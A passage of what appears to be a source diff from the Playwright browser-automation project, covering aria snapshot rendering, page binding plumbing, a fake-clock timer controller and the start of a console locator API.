lines.push(indent(depth + 1) + '- /' + name + ': ' + yamlEscapeValueIfNeeded(value));
const inCursorPointer = !!ariaNode.ref && renderCursorPointer && aria.hasPointerCursor(ariaNode);
for (const child of ariaNode.children) {
if (typeof child === 'string')
visitText(includeText(ariaNode, child) ? child : '', depth + 1);
else
visit(child, depth + 1, renderCursorPointer && !inCursorPointer);
}
}
};
for (const nodeToRender of nodesToRender) {
if (typeof nodeToRender === 'string')
visitText(nodeToRender, 0);
else
visit(nodeToRender, 0, !!options.renderCursorPointer);
}
return { text: lines.join('\n'), iframeDepths };
}
function convertToBestGuessRegex(text: string): string {
const dynamicContent = [
// 550e8400-e29b-41d4-a716-446655440000
{ regex: /\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b/, replacement: '[0-9a-fA-F-]+' },
// 2mb
{ regex: /\b[\d,.]+[bkmBKM]+\b/, replacement: '[\\d,.]+[bkmBKM]+' },
// 2ms, 20s
{ regex: /\b\d+[hmsp]+\b/, replacement: '\\d+[hmsp]+' },
{ regex: /\b[\d,.]+[hmsp]+\b/, replacement: '[\\d,.]+[hmsp]+' },
// Do not replace single digits with regex by default.
// 2+ digits: [Issue 22, 22.3, 2.33, 2,333]
{ regex: /\b\d+,\d+\b/, replacement: '\\d+,\\d+' },
{ regex: /\b\d+\.\d{2,}\b/, replacement: '\\d+\\.\\d+' },
{ regex: /\b\d{2,}\.\d+\b/, replacement: '\\d+\\.\\d+' },
{ regex: /\b\d{2,}\b/, replacement: '\\d+' },
];
let pattern = '';
let lastIndex = 0;
const combinedRegex = new RegExp(dynamicContent.map(r => '(' + r.regex.source + ')').join('|'), 'g');
text.replace(combinedRegex, (match, ...args) => {
const offset = args[args.length - 2];
const groups = args.slice(0, -2);
pattern += escapeRegExp(text.slice(lastIndex, offset));
for (let i = 0; i < groups.length; i++) {
if (groups[i]) {
const { replacement } = dynamicContent[i];
pattern += replacement;
break;
}
}
lastIndex = offset + match.length;
return match;
});
if (!pattern)
return text;
pattern += escapeRegExp(text.slice(lastIndex));
return String(new RegExp(pattern));
}
function textContributesInfo(node: aria.AriaNode, text: string): boolean {
if (!text.length)
return false;
if (!node.name)
return true;
// Figure out if text adds any value. "longestCommonSubstring" is expensive, so limit strings length.
const substr = (text.length <= 200 && node.name.length <= 200) ? longestCommonSubstring(text, node.name) : '';
let filtered = text;
while (substr && filtered.includes(substr))
filtered = filtered.replace(substr, '');
return filtered.trim().length / text.length > 0.1;
}
const elementSymbol = Symbol('element');
function ariaNodeElement(ariaNode: aria.AriaNode): Element {
return (ariaNode as any)[elementSymbol];
}
function setAriaNodeElement(ariaNode: aria.AriaNode, element: Element) {
(ariaNode as any)[elementSymbol] = element;
}
export function findNewElement(from: aria.AriaNode | undefined, to: aria.AriaNode): Element | undefined {
const node = aria.findNewNode(from, to);
return node ? ariaNodeElement(node) : undefined;
}
@@ -0,0 +1,100 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { serializeAsCallArgument } from '@isomorphic/utilityScriptSerializers';
import type { SerializedValue } from '@isomorphic/utilityScriptSerializers';
export type BindingPayload = {
name: string;
seq: number;
serializedArgs?: SerializedValue[],
};
type BindingData = {
callbacks: Map<number, { resolve: (value: any) => void, reject: (error: Error) => void }>;
lastSeq: number;
handles: Map<number, any>;
removed: boolean;
};
export class BindingsController {
private _global: typeof globalThis;
private _globalBindingName: string;
private _bindings = new Map<string, BindingData>();
constructor(global: typeof globalThis, globalBindingName: string) {
this._global = global;
this._globalBindingName = globalBindingName;
}
addBinding(bindingName: string, needsHandle: boolean) {
const data: BindingData = {
callbacks: new Map(),
lastSeq: 0,
handles: new Map(),
removed: false,
};
this._bindings.set(bindingName, data);
(this._global as any)[bindingName] = (...args: any[]) => {
if (data.removed)
throw new Error(`binding "${bindingName}" has been removed`);
if (needsHandle && args.slice(1).some(arg => arg !== undefined))
throw new Error(`exposeBindingHandle supports a single argument, ${args.length} received`);
const seq = ++data.lastSeq;
const promise = new Promise((resolve, reject) => data.callbacks.set(seq, { resolve, reject }));
let payload: BindingPayload;
if (needsHandle) {
data.handles.set(seq, args[0]);
payload = { name: bindingName, seq };
} else {
const serializedArgs = [];
for (let i = 0; i < args.length; i++) {
serializedArgs[i] = serializeAsCallArgument(args[i], v => {
return { fallThrough: v };
});
}
payload = { name: bindingName, seq, serializedArgs };
}
(this._global as any)[this._globalBindingName](JSON.stringify(payload));
return promise;
};
}
removeBinding(bindingName: string) {
const data = this._bindings.get(bindingName);
if (data)
data.removed = true;
this._bindings.delete(bindingName);
delete (this._global as any)[bindingName];
}
takeBindingHandle(arg: { name: string, seq: number }) {
const handles = this._bindings.get(arg.name)!.handles;
const handle = handles.get(arg.seq);
handles.delete(arg.seq);
return handle;
}
deliverBindingResult(arg: { name: string, seq: number, result?: any, error?: any }) {
const callbacks = this._bindings.get(arg.name)!.callbacks;
if ('error' in arg)
callbacks.get(arg.seq)!.reject(arg.error);
else
callbacks.get(arg.seq)!.resolve(arg.result);
callbacks.delete(arg.seq);
}
}
@@ -0,0 +1,839 @@
/**
* Copyright (c) 2010-2014, Christian Johansen, christian@cjohansen.no. All rights reserved.
* Modifications copyright (c) Microsoft Corporation.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
import type { Builtins } from './utilityScript';
export type ClockConfig = {
now?: number;
};
export type InstallConfig = ClockConfig & {
toFake?: (keyof Builtins)[];
browserName?: string;
};
enum TimerType {
Timeout = 'Timeout',
Interval = 'Interval',
Immediate = 'Immediate',
AnimationFrame = 'AnimationFrame',
IdleCallback = 'IdleCallback',
}
type Timer = {
type: TimerType;
func: TimerHandler;
args: any[];
delay: number;
callAt: Ticks;
createdAt: Ticks;
id: number;
error?: Error;
};
interface Embedder {
dateNow(): number;
performanceNow(): EmbedderTicks;
setTimeout(task: () => void, timeout?: number): () => void;
setInterval(task: () => void, delay: number): () => void;
}
type Ticks = number & { readonly __brand: 'Ticks' };
type EmbedderTicks = number & { readonly __brand: 'EmbedderTicks' };
type WallTime = number & { readonly __brand: 'WallTime' };
type Time = {
time: WallTime;
ticks: Ticks;
isFixedTime: boolean;
origin: WallTime;
};
type LogEntryType = 'fastForward' |'install' | 'pauseAt' | 'resume' | 'runFor' | 'setFixedTime' | 'setSystemTime';
type RealTimeTimer = {
callAt: Ticks;
cancel: () => void;
promise: Promise<void> | undefined;
dispose: () => Promise<void>;
};
export class ClockController {
readonly _now: Time;
private _duringTick = false;
private _timers: Map<number, Timer>;
private _uniqueTimerId = idCounterStart;
private _embedder: Embedder;
readonly disposables: (() => void)[] = [];
private _log: { type: LogEntryType, time: number, param?: number }[] = [];
private _realTime: { startTicks: EmbedderTicks, lastSyncTicks: EmbedderTicks } | undefined;
private _currentRealTimeTimer: RealTimeTimer | undefined;
constructor(embedder: Embedder) {
this._timers = new Map();
this._now = { time: asWallTime(0), isFixedTime: false, ticks: 0 as Ticks, origin: asWallTime(-1) };
this._embedder = embedder;
}
uninstall() {
this.disposables.forEach(dispose => dispose());
this.disposables.length = 0;
}
now(): number {
this._replayLogOnce();
// Sync real time to support calling Date.now() in a loop.
this._syncRealTime();
return this._now.time;
}
install(time: number) {
this._replayLogOnce();
this._innerSetTime(asWallTime(time));
}
setSystemTime(time: number) {
this._replayLogOnce();
this._innerSetTime(asWallTime(time));
}
setFixedTime(time: number) {
this._replayLogOnce();
this._innerSetFixedTime(asWallTime(time));
}
performanceNow(): DOMHighResTimeStamp {
this._replayLogOnce();
// Sync real time to support calling performance.now() in a loop.
this._syncRealTime();
return this._now.ticks;
}
private _syncRealTime() {
if (!this._realTime)
return;
const now = this._embedder.performanceNow();
const sinceLastSync = now - this._realTime.lastSyncTicks;
if (sinceLastSync > 0) {
this._advanceNow(shiftTicks(this._now.ticks, sinceLastSync));
this._realTime.lastSyncTicks = now;
}
}
private _innerSetTime(time: WallTime) {
this._now.time = time;
this._now.isFixedTime = false;
if (this._now.origin < 0)
this._now.origin = this._now.time;
}
private _innerSetFixedTime(time: WallTime) {
this._innerSetTime(time);
this._now.isFixedTime = true;
}
private _advanceNow(to: Ticks) {
if (this._now.ticks > to) {
// While running timers, `now` can advance by syncing with real time
// from within now() or performance.now().
// This makes it possible for `now` to be ahead of where we want to advance it.
return;
}
if (!this._now.isFixedTime)
this._now.time = asWallTime(this._now.time + to - this._now.ticks);
this._now.ticks = to;
}
async log(type: LogEntryType, time: number, param?: number) {
this._log.push({ type, time, param });
}
async runFor(ticks: number) {
this._replayLogOnce();
if (ticks < 0)
throw new TypeError('Negative ticks are not supported');
await this._runWithDisabledRealTimeSync(async () => {
await this._runTo(shiftTicks(this._now.ticks, ticks));
});
}
private async _runTo(to: Ticks) {
to = Math.ceil(to) as Ticks;
if (this._now.ticks > to)
return;
let firstException: Error | undefined;
while (true) {
const result = await this._callFirstTimer(to);
if (!result.timerFound)
break;
firstException = firstException || result.error;
}
this._advanceNow(to);
if (firstException)
throw firstException;
}
async pauseAt(time: number): Promise<number> {
this._replayLogOnce();
await this._innerPause();
const toConsume = time - this._now.time;
await this._innerFastForwardTo(shiftTicks(this._now.ticks, toConsume));
return toConsume;
}
private async _innerPause() {
this._realTime = undefined;
await this._currentRealTimeTimer?.dispose();
this._currentRealTimeTimer = undefined;
}
resume() {
this._replayLogOnce();
this._innerResume();
}
private _innerResume() {
const now = this._embedder.performanceNow();
this._realTime = { startTicks: now, lastSyncTicks: now };
this._updateRealTimeTimer();
}
private _updateRealTimeTimer() {
if (this._currentRealTimeTimer?.promise) {
// In progress, safe to return as it will call itself once promise is resolved.
return;
}
const firstTimer = this._firstTimer();
// Either run the next timer or move time in 100ms chunks.
const nextTick = Math.min(firstTimer ? firstTimer.callAt : this._now.ticks + maxTimeout, this._now.ticks + 100) as Ticks;
const callAt = this._currentRealTimeTimer ? Math.min(this._currentRealTimeTimer.callAt, nextTick) as Ticks : nextTick;
if (this._currentRealTimeTimer) {
// Cancel and reschedule.
this._currentRealTimeTimer.cancel();
this._currentRealTimeTimer = undefined;
}
const realTimeTimer: RealTimeTimer = {
callAt,
promise: undefined,
cancel: this._embedder.setTimeout(() => {
this._syncRealTime();
// eslint-disable-next-line no-console
realTimeTimer.promise = this._runTo(this._now.ticks).catch(e => console.error(e));
void realTimeTimer.promise.then(() => {
this._currentRealTimeTimer = undefined;
if (this._realTime)
this._updateRealTimeTimer();
});
}, callAt - this._now.ticks),
dispose: async () => {
realTimeTimer.cancel();
await realTimeTimer.promise;
}
};
this._currentRealTimeTimer = realTimeTimer;
}
private async _runWithDisabledRealTimeSync(fn: () => Promise<void>) {
if (!this._realTime) {
await fn();
return;
}
await this._innerPause();
try {
await fn();
} finally {
this._innerResume();
}
}
async fastForward(ticks: number) {
this._replayLogOnce();
await this._runWithDisabledRealTimeSync(async () => {
await this._innerFastForwardTo(shiftTicks(this._now.ticks, ticks | 0));
});
}
private async _innerFastForwardTo(to: Ticks) {
if (to < this._now.ticks)
throw new Error('Cannot fast-forward to the past');
for (const timer of this._timers.values()) {
if (to > timer.callAt)
timer.callAt = to;
}
await this._runTo(to);
}
addTimer(options: { func: TimerHandler, type: TimerType, delay?: number | string, args?: any[] }): number {
this._replayLogOnce();
if (options.type === TimerType.AnimationFrame && !options.func)
throw new Error('Callback must be provided to requestAnimationFrame calls');
if (options.type === TimerType.IdleCallback && !options.func)
throw new Error('Callback must be provided to requestIdleCallback calls');
if ([TimerType.Timeout, TimerType.Interval].includes(options.type) && !options.func && options.delay === undefined)
throw new Error('Callback must be provided to timer calls');
let delay = options.delay ? +options.delay : 0;
if (!Number.isFinite(delay))
delay = 0;
delay = delay > maxTimeout ? 1 : delay;
delay = Math.max(0, delay);
const timer: Timer = {
type: options.type,
func: options.func,
args: options.args || [],
delay,
callAt: shiftTicks(this._now.ticks, (delay || (this._duringTick ? 1 : 0))),
createdAt: this._now.ticks,
id: this._uniqueTimerId++,
error: new Error(),
};
this._timers.set(timer.id, timer);
if (this._realTime)
this._updateRealTimeTimer();
return timer.id;
}
countTimers() {
return this._timers.size;
}
private _firstTimer(beforeTick?: number): Timer | null {
let firstTimer: Timer | null = null;
for (const timer of this._timers.values()) {
const isInRange = beforeTick === undefined || timer.callAt <= beforeTick;
if (isInRange && (!firstTimer || compareTimers(firstTimer, timer) === 1))
firstTimer = timer;
}
return firstTimer;
}
private _takeFirstTimer(beforeTick?: number): Timer | null {
const timer = this._firstTimer(beforeTick);
if (!timer)
return null;
this._advanceNow(timer.callAt);
if (timer.type === TimerType.Interval)
timer.callAt = shiftTicks(timer.callAt, timer.delay);
else
this._timers.delete(timer.id);
return timer;
}
private async _callFirstTimer(beforeTick: number): Promise<{ timerFound: boolean, error?: Error }> {
const timer = this._takeFirstTimer(beforeTick);
if (!timer)
return { timerFound: false };
this._duringTick = true;
try {
if (typeof timer.func !== 'function') {
let error: Error | undefined;
try {
// Using global this is not correct here,
// but it is already broken since the eval scope is different from the one
// on the original call site.
// eslint-disable-next-line no-restricted-globals
(() => { globalThis.eval(timer.func); })();
} catch (e) {
error = e;
}
await new Promise<void>(f => this._embedder.setTimeout(f));
return { timerFound: true, error };
}
let args = timer.args;
if (timer.type === TimerType.AnimationFrame)
args = [this._now.ticks];
else if (timer.type === TimerType.IdleCallback)
args = [{ didTimeout: false, timeRemaining: () => 0 }];
let error: Error | undefined;
try {
timer.func.apply(null, args);
} catch (e) {
error = e;
}
await new Promise<void>(f => this._embedder.setTimeout(f));
return { timerFound: true, error };
} finally {
this._duringTick = false;
}
}
getTimeToNextFrame() {
// When `window.requestAnimationFrame` is the first call in the page,
// this place is the first API call, so replay the log.
this._replayLogOnce();
return 16 - this._now.ticks % 16;
}
clearTimer(timerId: number, type: TimerType) {
this._replayLogOnce();
if (!timerId) {
// null appears to be allowed in most browsers, and appears to be
// relied upon by some libraries, like Bootstrap carousel
return;
}
// in Node, the ID is stored as the primitive value for `Timeout` objects
// for `Immediate` objects, no ID exists, so it gets coerced to NaN
const id = Number(timerId);
if (Number.isNaN(id) || id < idCounterStart) {
const handlerName = getClearHandler(type);
new Error(`Clock: ${handlerName} was invoked to clear a native timer instead of one created by the clock library.`);
}
const timer = this._timers.get(id);
if (timer) {
if (
timer.type === type ||
(timer.type === 'Timeout' && type === 'Interval') ||
(timer.type === 'Interval' && type === 'Timeout')
) {
this._timers.delete(id);
} else {
const clear = getClearHandler(type);
const schedule = getScheduleHandler(timer.type);
throw new Error(
`Cannot clear timer: timer created with ${schedule}() but cleared with ${clear}()`,
);
}
}
}
private _replayLogOnce() {
if (!this._log.length)
return;
let lastLogTime = -1;
let isPaused = false;
for (const { type, time, param } of this._log) {
if (!isPaused && lastLogTime !== -1)
this._advanceNow(shiftTicks(this._now.ticks, time - lastLogTime));
lastLogTime = time;
if (type === 'install') {
this._innerSetTime(asWallTime(param!));
} else if (type === 'fastForward' || type === 'runFor') {
this._advanceNow(shiftTicks(this._now.ticks, param!));
} else if (type === 'pauseAt') {
isPaused = true;
this._innerSetTime(asWallTime(param!));
} else if (type === 'resume') {
isPaused = false;
} else if (type === 'setFixedTime') {
this._innerSetFixedTime(asWallTime(param!));
} else if (type === 'setSystemTime') {
this._innerSetTime(asWallTime(param!));
}
}
if (!isPaused) {
if (lastLogTime > 0)
this._advanceNow(shiftTicks(this._now.ticks, this._embedder.dateNow() - lastLogTime));
this._innerResume();
} else {
this._realTime = undefined;
}
this._log.length = 0;
}
}
function mirrorDateProperties(target: any, source: Builtins['Date']): Builtins['Date'] {
for (const prop in source) {
if (source.hasOwnProperty(prop))
target[prop] = (source as any)[prop];
}
target.toString = () => source.toString();
target.prototype = source.prototype;
target.parse = source.parse;
target.UTC = source.UTC;
target.prototype.toUTCString = source.prototype.toUTCString;
target.isFake = true;
return target;
}
function createDate(clock: ClockController, NativeDate: Builtins['Date']): Builtins['Date'] {
function ClockDate(this: typeof ClockDate, year: number, month: number, date: number, hour: number, minute: number, second: number, ms: number): Date | string {
// the Date constructor called as a function, ref Ecma-262 Edition 5.1, section 15.9.2.
// This remains so in the 10th edition of 2019 as well.
if (!(this instanceof ClockDate))
return new NativeDate(clock.now()).toString();
// if Date is called as a constructor with 'new' keyword
// Defensive and verbose to avoid potential harm in passing
// explicit undefined when user does not pass argument
switch (arguments.length) {
case 0:
return new NativeDate(clock.now());
case 1:
return new NativeDate(year);
case 2:
return new NativeDate(year, month);
case 3:
return new NativeDate(year, month, date);
case 4:
return new NativeDate(year, month, date, hour);
case 5:
return new NativeDate(year, month, date, hour, minute);
case 6:
return new NativeDate(
year,
month,
date,
hour,
minute,
second,
);
default:
return new NativeDate(
year,
month,
date,
hour,
minute,
second,
ms,
);
}
}
ClockDate.now = () => clock.now();
return mirrorDateProperties(ClockDate, NativeDate);
}
/**
* Mirror Intl by default on our fake implementation
*
* Most of the properties are the original native ones,
* but we need to take control of those that have a
* dependency on the current clock.
*/
function createIntl(clock: ClockController, NativeIntl: Builtins['Intl']): Builtins['Intl'] {
const ClockIntl: any = {};
/*
* All properties of Intl are non-enumerable, so we need
* to do a bit of work to get them out.
*/
for (const key of Object.getOwnPropertyNames(NativeIntl) as (keyof Builtins['Intl'])[])
ClockIntl[key] = NativeIntl[key];
ClockIntl.DateTimeFormat = function(...args: any[]) {
const realFormatter = new NativeIntl.DateTimeFormat(...args);
const formatter: Intl.DateTimeFormat = {
formatRange: realFormatter.formatRange.bind(realFormatter),
formatRangeToParts: realFormatter.formatRangeToParts.bind(realFormatter),
resolvedOptions: realFormatter.resolvedOptions.bind(realFormatter),
format: date => realFormatter.format(date || clock.now()),
formatToParts: date => realFormatter.formatToParts(date || clock.now()),
};
return formatter;
};
ClockIntl.DateTimeFormat.prototype = Object.create(
NativeIntl.DateTimeFormat.prototype,
);
ClockIntl.DateTimeFormat.supportedLocalesOf =
NativeIntl.DateTimeFormat.supportedLocalesOf;
return ClockIntl;
}
function compareTimers(a: Timer, b: Timer) {
// Sort first by absolute timing
if (a.callAt < b.callAt)
return -1;
if (a.callAt > b.callAt)
return 1;
// Sort next by immediate, immediate timers take precedence
if (a.type === TimerType.Immediate && b.type !== TimerType.Immediate)
return -1;
if (a.type !== TimerType.Immediate && b.type === TimerType.Immediate)
return 1;
// Sort next by creation time, earlier-created timers take precedence
if (a.createdAt < b.createdAt)
return -1;
if (a.createdAt > b.createdAt)
return 1;
// Sort next by id, lower-id timers take precedence
if (a.id < b.id)
return -1;
if (a.id > b.id)
return 1;
// As timer ids are unique, no fallback `0` is necessary
}
const maxTimeout = Math.pow(2, 31) - 1; // see https://heycam.github.io/webidl/#abstract-opdef-converttoint
const idCounterStart = 1e12; // arbitrarily large number to avoid collisions with native timer IDs
function platformOriginals(globalObject: WindowOrWorkerGlobalScope): { raw: Builtins, bound: Builtins } {
const raw: Builtins = {
setTimeout: globalObject.setTimeout,
clearTimeout: globalObject.clearTimeout,
setInterval: globalObject.setInterval,
clearInterval: globalObject.clearInterval,
requestAnimationFrame: (globalObject as any).requestAnimationFrame ? (globalObject as any).requestAnimationFrame : undefined,
cancelAnimationFrame: (globalObject as any).cancelAnimationFrame ? (globalObject as any).cancelAnimationFrame : undefined,
requestIdleCallback: (globalObject as any).requestIdleCallback ? (globalObject as any).requestIdleCallback : undefined,
cancelIdleCallback: (globalObject as any).cancelIdleCallback ? (globalObject as any).cancelIdleCallback : undefined,
Date: (globalObject as any).Date,
performance: globalObject.performance,
Intl: (globalObject as any).Intl,
AbortSignal: (globalObject as any).AbortSignal,
};
const bound = { ...raw };
for (const key of Object.keys(bound) as (keyof Builtins)[]) {
if (key !== 'Date' && key !== 'AbortSignal' && typeof bound[key] === 'function')
bound[key] = (bound[key] as any).bind(globalObject);
}
return { raw, bound };
}
/**
* Gets schedule handler name for a given timer type
*/
function getScheduleHandler(type: TimerType) {
if (type === 'IdleCallback' || type === 'AnimationFrame')
return `request${type}`;
return `set${type}`;
}
function createApi(clock: ClockController, originals: Builtins, browserName?: string): Builtins {
return {
setTimeout: (func: TimerHandler, timeout?: number | undefined, ...args: any[]) => {
const delay = timeout ? +timeout : timeout;
return clock.addTimer({
type: TimerType.Timeout,
func,
args,
delay
});
},
clearTimeout: (timerId: number | undefined): void => {
if (timerId)
clock.clearTimer(timerId, TimerType.Timeout);
},
setInterval: (func: TimerHandler, timeout?: number | undefined, ...args: any[]): number => {
const delay = timeout ? +timeout : timeout;
return clock.addTimer({
type: TimerType.Interval,
func,
args,
delay,
});
},
clearInterval: (timerId: number | undefined): void => {
if (timerId)
return clock.clearTimer(timerId, TimerType.Interval);
},
requestAnimationFrame: (callback: FrameRequestCallback): number => {
return clock.addTimer({
type: TimerType.AnimationFrame,
func: callback,
delay: clock.getTimeToNextFrame(),
});
},
cancelAnimationFrame: (timerId: number): void => {
if (timerId)
return clock.clearTimer(timerId, TimerType.AnimationFrame);
},
requestIdleCallback: (callback: IdleRequestCallback, options?: IdleRequestOptions | undefined): number => {
let timeToNextIdlePeriod = 0;
if (clock.countTimers() > 0)
timeToNextIdlePeriod = 50; // const for now
return clock.addTimer({
type: TimerType.IdleCallback,
func: callback,
delay: options?.timeout ? Math.min(options?.timeout, timeToNextIdlePeriod) : timeToNextIdlePeriod,
});
},
cancelIdleCallback: (timerId: number): void => {
if (timerId)
return clock.clearTimer(timerId, TimerType.IdleCallback);
},
Intl: originals.Intl ? createIntl(clock, originals.Intl) : (undefined as unknown as Builtins['Intl']),
Date: createDate(clock, originals.Date),
performance: originals.performance ? fakePerformance(clock, originals.performance) : (undefined as unknown as Builtins['performance']),
AbortSignal: originals.AbortSignal ? fakeAbortSignal(clock, originals.AbortSignal, browserName) : (undefined as unknown as Builtins['AbortSignal']),
};
}
function getClearHandler(type: TimerType) {
if (type === 'IdleCallback' || type === 'AnimationFrame')
return `cancel${type}`;
return `clear${type}`;
}
class FakePerformanceEntry {
name: string;
entryType: string;
startTime: number;
duration: number;
constructor(name: string, entryType: string, startTime: number, duration: number) {
this.name = name;
this.entryType = entryType;
this.startTime = startTime;
this.duration = duration;
}
toJSON() {
return JSON.stringify({ ...this });
}
}
function fakePerformance(clock: ClockController, performance: Builtins['performance']): Builtins['performance'] {
const result: any = {
now: () => clock.performanceNow(),
};
result.__defineGetter__('timeOrigin', () => clock._now.origin || 0);
// eslint-disable-next-line no-proto
for (const key of Object.keys((performance as any).__proto__)) {
if (key === 'now' || key === 'timeOrigin')
continue;
if (key === 'getEntries' || key === 'getEntriesByName' || key === 'getEntriesByType')
result[key] = () => [];
else if (key === 'mark')
result[key] = (name: string) => new FakePerformanceEntry(name, 'mark', 0, 0);
else if (key === 'measure')
result[key] = (name: string) => new FakePerformanceEntry(name, 'measure', 0, 50);
else
result[key] = () => {};
}
return result;
}
function fakeAbortSignal(clock: ClockController, abortSignal: Builtins['AbortSignal'], browserName?: string): Builtins['AbortSignal'] {
Object.defineProperty(abortSignal, 'timeout', {
value(ms: number) {
const controller = new AbortController();
clock.addTimer({
delay: ms,
type: TimerType.Timeout,
func: () => controller.abort(
new DOMException(
browserName === 'chromium' ? 'signal timed out' : 'The operation timed out.',
'TimeoutError'
)
),
});
return controller.signal;
}
});
return abortSignal;
}
export function createClock(globalObject: WindowOrWorkerGlobalScope, config: InstallConfig = {}): { clock: ClockController, api: Builtins, originals: Builtins } {
const originals = platformOriginals(globalObject);
const embedder: Embedder = {
dateNow: () => originals.raw.Date.now(),
performanceNow: () => Math.ceil(originals.raw.performance!.now()) as EmbedderTicks,
setTimeout: (task: () => void, timeout?: number) => {
const timerId = originals.bound.setTimeout(task, timeout);
return () => originals.bound.clearTimeout(timerId);
},
setInterval: (task: () => void, delay: number) => {
const intervalId = originals.bound.setInterval(task, delay);
return () => originals.bound.clearInterval(intervalId);
},
};
const clock = new ClockController(embedder);
const api = createApi(clock, originals.bound, config.browserName);
return { clock, api, originals: originals.raw };
}
export function install(globalObject: WindowOrWorkerGlobalScope, config: InstallConfig = {}): { clock: ClockController, api: Builtins, originals: Builtins } {
if ((globalObject as any).Date?.isFake) {
// Timers are already faked; this is a problem.
// Make the user reset timers before continuing.
throw new TypeError(`Can't install fake timers twice on the same global object.`);
}
const { clock, api, originals } = createClock(globalObject, config);
const toFake = config.toFake?.length ? config.toFake : Object.keys(originals) as (keyof Builtins)[];
for (const method of toFake) {
if (method === 'Date') {
(globalObject as any).Date = mirrorDateProperties(api.Date, (globalObject as any).Date);
} else if (method === 'Intl') {
(globalObject as any).Intl = api[method]!;
} else if (method === 'AbortSignal') {
(globalObject as any).AbortSignal = api[method]!;
} else if (method === 'performance') {
(globalObject as any).performance = api[method]!;
const kEventTimeStamp = Symbol('playwrightEventTimeStamp');
Object.defineProperty(Event.prototype, 'timeStamp', {
get() {
if (!this[kEventTimeStamp])
this[kEventTimeStamp] = api.performance?.now();
return this[kEventTimeStamp];
}
});
} else {
(globalObject as any)[method] = (...args: any[]) => {
return (api[method] as any).apply(api, args);
};
}
clock.disposables.push(() => {
(globalObject as any)[method] = originals[method];
});
}
return { clock, api, originals };
}
export function inject(globalObject: WindowOrWorkerGlobalScope, browserName?: string) {
const builtins = platformOriginals(globalObject).bound;
const { clock: controller } = install(globalObject, { browserName });
controller.resume();
return {
controller,
builtins,
};
}
function asWallTime(n: number): WallTime {
return n as WallTime;
}
function shiftTicks(ticks: Ticks, ms: number): Ticks {
return ticks + ms as Ticks;
}
@@ -0,0 +1,147 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { asLocator } from '@isomorphic/locatorGenerators';
import { getByAltTextSelector, getByLabelSelector, getByPlaceholderSelector, getByRoleSelector, getByTestIdSelector, getByTextSelector, getByTitleSelector } from '@isomorphic/locatorUtils';
import { escapeForTextSelector } from '@isomorphic/stringUtils';
import type { InjectedScript } from './injectedScript';
import type { Language } from '@isomorphic/locatorGenerators';
import type { ByRoleOptions } from '@isomorphic/locatorUtils';
import type { AriaTreeOptions } from './ariaSnapshot';
const selectorSymbol = Symbol('selector');
class Locator {
[selectorSymbol]: string;
element: Element | undefined;
elements: Element[] | undefined;
constructor(injectedScript: InjectedScript, selector: string, options?: { hasText?: string | RegExp, hasNotText?: string | RegExp, has?: Locator, hasNot?: Locator, visible?: boolean }) {
if (options?.hasText)
selector += ` >> internal:has-text=${escapeForTextSelector(options.hasText, false)}`;
if (options?.hasNotText)
selector += ` >> internal:has-not-text=${escapeForTextSelector(options.hasNotText, false)}`;
if (options?.has)
selector += ` >> internal:has=` + JSON.stringify(options.has[selectorSymbol]);
if (options?.hasNot)
selector += ` >> internal:has-not=` + JSON.stringify(options.hasNot[selectorSymbol]);
if (options?.visible !== undefined)
selector += ` >> visible=${options.visible ? 'true' : 'false'}`;
this[selectorSymbol] = selector;
if (selector) {
const parsed = injectedScript.parseSelector(selector);
this.element = injectedScript.querySelector(parsed, injectedScript.document, false);
this.elements = injectedScript.querySelectorAll(parsed, injectedScript.document);
}
const selectorBase = selector;
const self = this as any;
self.locator = (selector: string, options?: { hasText?: string | RegExp, hasNotText?: string | RegExp, has?: Locator, hasNot?: Locator }): Locator => {
return new Locator(injectedScript, selectorBase ? selectorBase + ' >> ' + selector : selector, options);
};
self.getByTestId = (testId: string): Locator => self.locator(getByTestIdSelector(injectedScript.testIdAttributeNameForStrictErrorAndConsoleCodegen(), testId));
self.getByAltText = (text: string | RegExp, options?: { exact?: boolean }): Locator => self.locator(getByAltTextSelector(text, options));
self.getByLabel = (text: string | RegExp, options?: { exact?: boolean }): Locator => self.locator(getByLabelSelector(text, options));
self.getByPlaceholder = (text: string | RegExp, options?: { exact?: boolean }): Locator => self.locator(getByPlaceholderSelector(text, options));
